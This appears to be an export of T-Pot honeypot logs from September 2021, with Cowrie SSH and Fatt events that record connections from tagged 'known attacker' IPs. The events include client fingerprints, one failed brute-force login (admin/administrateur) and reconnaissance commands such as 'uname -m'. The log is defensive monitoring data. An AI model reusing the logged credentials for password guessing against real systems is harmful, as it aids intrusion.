26765	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:03.838257+03	2021-09-20 14:15:13.699675+03	{"_id": "cQboAnwBvYTbRNuE0CPt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:7347 (192.168.176.2:22) [session: 1a9b04075f74]", "session": "1a9b04075f74", "@version": "1", "protocol": "ssh", "src_port": 7347, "dest_port": 22, "timestamp": "2021-09-20T11:13:03.838257Z", "@timestamp": "2021-09-20T11:13:03.838Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26766	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:04.39274+03	2021-09-20 14:15:13.701648+03	{"_id": "cgboAnwBvYTbRNuE0CPt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:36896 (192.168.176.2:22) [session: 65aef3c283f0]", "session": "65aef3c283f0", "@version": "1", "protocol": "ssh", "src_port": 36896, "dest_port": 22, "timestamp": "2021-09-20T11:13:04.392740Z", "@timestamp": "2021-09-20T11:13:04.392Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26767	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:03.649368+03	2021-09-20 14:15:13.702675+03	{"_id": "fwboAnwBvYTbRNuE0CPt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.params", "message": [], "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:03.649368Z", "@timestamp": "2021-09-20T11:13:03.649Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
26768	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:03.649901+03	2021-09-20 14:15:13.703671+03	{"_id": "gAboAnwBvYTbRNuE0CPt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:03.649901Z", "@timestamp": "2021-09-20T11:13:03.649Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
26769	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:03.717312+03	2021-09-20 14:15:13.705647+03	{"_id": "gQboAnwBvYTbRNuE0CPt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3532511486e4", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:03.717312Z", "@timestamp": "2021-09-20T11:13:03.717Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26770	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:03.771025+03	2021-09-20 14:15:13.706674+03	{"_id": "ggboAnwBvYTbRNuE0CPt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8f363cb2cb8f", "@version": "1", "timestamp": "2021-09-20T11:13:03.771025Z", "@timestamp": "2021-09-20T11:13:03.771Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26772	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:03.983006+03	2021-09-20 14:15:13.709647+03	{"_id": "hAboAnwBvYTbRNuE0CPt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3532511486e4", "@version": "1", "timestamp": "2021-09-20T11:13:03.983006Z", "@timestamp": "2021-09-20T11:13:03.983Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26773	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:03.99646+03	2021-09-20 14:15:13.710674+03	{"_id": "hQboAnwBvYTbRNuE0CPt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "128.199.123.0", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "de515b57e106", "@version": "1", "duration": 0.34717559814453125, "duplicate": true, "timestamp": "2021-09-20T11:13:03.996460Z", "@timestamp": "2021-09-20T11:13:03.996Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
26774	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:04.115753+03	2021-09-20 14:15:13.711674+03	{"_id": "hgboAnwBvYTbRNuE0CPt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/administrateur] failed", "session": "f1a4afaad69d", "@version": "1", "password": "administrateur", "username": "admin", "timestamp": "2021-09-20T11:13:04.115753Z", "@timestamp": "2021-09-20T11:13:04.115Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26775	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:04.312696+03	2021-09-20 14:15:13.713644+03	{"_id": "hwboAnwBvYTbRNuE0CPt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.params", "message": [], "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:04.312696Z", "@timestamp": "2021-09-20T11:13:04.312Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
26776	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:04.313246+03	2021-09-20 14:15:13.714644+03	{"_id": "iAboAnwBvYTbRNuE0CPt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:04.313246Z", "@timestamp": "2021-09-20T11:13:04.313Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
26791	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:13:06.220133+03	2021-09-20 14:15:13.734678+03	{"_id": "pAboAnwBvYTbRNuE2CMJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34918, "timestamp": "2021-09-20T11:13:06.220133", "@timestamp": "2021-09-20T11:13:06.220Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
26777	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:04.314709+03	2021-09-20 14:15:13.715675+03	{"_id": "iQboAnwBvYTbRNuE0CPt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1a9b04075f74", "@version": "1", "timestamp": "2021-09-20T11:13:04.314709Z", "@timestamp": "2021-09-20T11:13:04.314Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26778	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:04.367357+03	2021-09-20 14:15:13.717653+03	{"_id": "igboAnwBvYTbRNuE0CPt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 8 seconds", "session": "ed9ae4c1b93a", "@version": "1", "duration": 8.066932439804077, "timestamp": "2021-09-20T11:13:04.367357Z", "@timestamp": "2021-09-20T11:13:04.367Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26779	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:04.395741+03	2021-09-20 14:15:13.718674+03	{"_id": "iwboAnwBvYTbRNuE0CPt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "65aef3c283f0", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:04.395741Z", "@timestamp": "2021-09-20T11:13:04.395Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
